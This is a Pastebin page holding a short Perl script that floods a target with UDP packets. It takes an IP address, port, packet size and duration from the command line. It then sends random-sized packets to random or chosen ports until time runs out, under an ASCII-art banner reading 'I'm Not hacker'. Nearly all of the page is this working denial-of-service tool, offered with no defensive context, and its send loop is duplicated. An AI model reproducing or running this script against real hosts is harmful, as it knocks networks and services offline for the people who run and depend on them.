Advertisement
Guest User

Untitled

a guest
Oct 18th, 2019
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.73 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. ##
  4. #!/usr/bin/perl
  5.  
  6. use Socket;
  7. use strict;
  8.  
  9. my ($ip,$port,$size,$time) = @ARGV;
  10.  
  11. my ($iaddr,$endtime,$psize,$pport);
  12.  
  13. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  14. $endtime = time() + ($time ? $time : 100);
  15. socket(flood, PF_INET, SOCK_DGRAM, 17);
  16.  
  17.  
  18. print <<EOTEXT;
  19.  
  20.  
  21.  
  22. ...
  23. ;::::; I'm Not hacker
  24. ;::::; :; Powered by SnowWolf =)
  25. ;:::::' :;
  26. ;:::::; ;.
  27. ,:::::' ; OOO\
  28. ::::::; ; OOOOO\
  29. ;:::::; ; OOOOOOOO
  30. ,;::::::; ;' / OOOOOOO
  31. ;:::::::::`. ,,,;. / / DOOOOOO
  32. .';:::::::::::::::::;, / / DOOOO
  33. ,::::::;::::::;;;;::::;, / / DOOO
  34. ;`::::::`'::::::;;;::::: ,#/ / DOOO
  35. :`:::::::`;::::::;;::: ;::# / DOOO
  36. ::`:::::::`;:::::::: ;::::# / DOO
  37. `:`:::::::`;:::::: ;::::::#/ DOO
  38. :::`:::::::`;; ;:::::::::## OO
  39. ::::`:::::::`;::::::::;:::# OO
  40. `:::::`::::::::::::;'`:;::# O
  41. `:::::`::::::::;' / / `:#
  42. ::::::`:::::;' / / `#
  43. EOTEXT
  44.  
  45. print "~ATack to : $ip " . ($port ? $port : "random") . " With " .
  46. ($size ? "$size-byte" : "Smacked With A Large Packets?") . " " .
  47. ($time ? "for $time seconds" : "") . "\n";
  48.  
  49. for (;time() <= $endtime;) {
  50. $psize = $size ? $size : int(rand(1024-64)+64) ;
  51. $pport = $port ? $port : int(rand(65500))+1;
  52.  
  53. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
  54. $iaddr));}for (;time() <= $endtime;) {
  55. $psize = $size ? $size : int(rand(1024-64)+64) ;
  56. $pport = $port ? $port : int(rand(65500))+1;
  57.  
  58. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
  59. $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement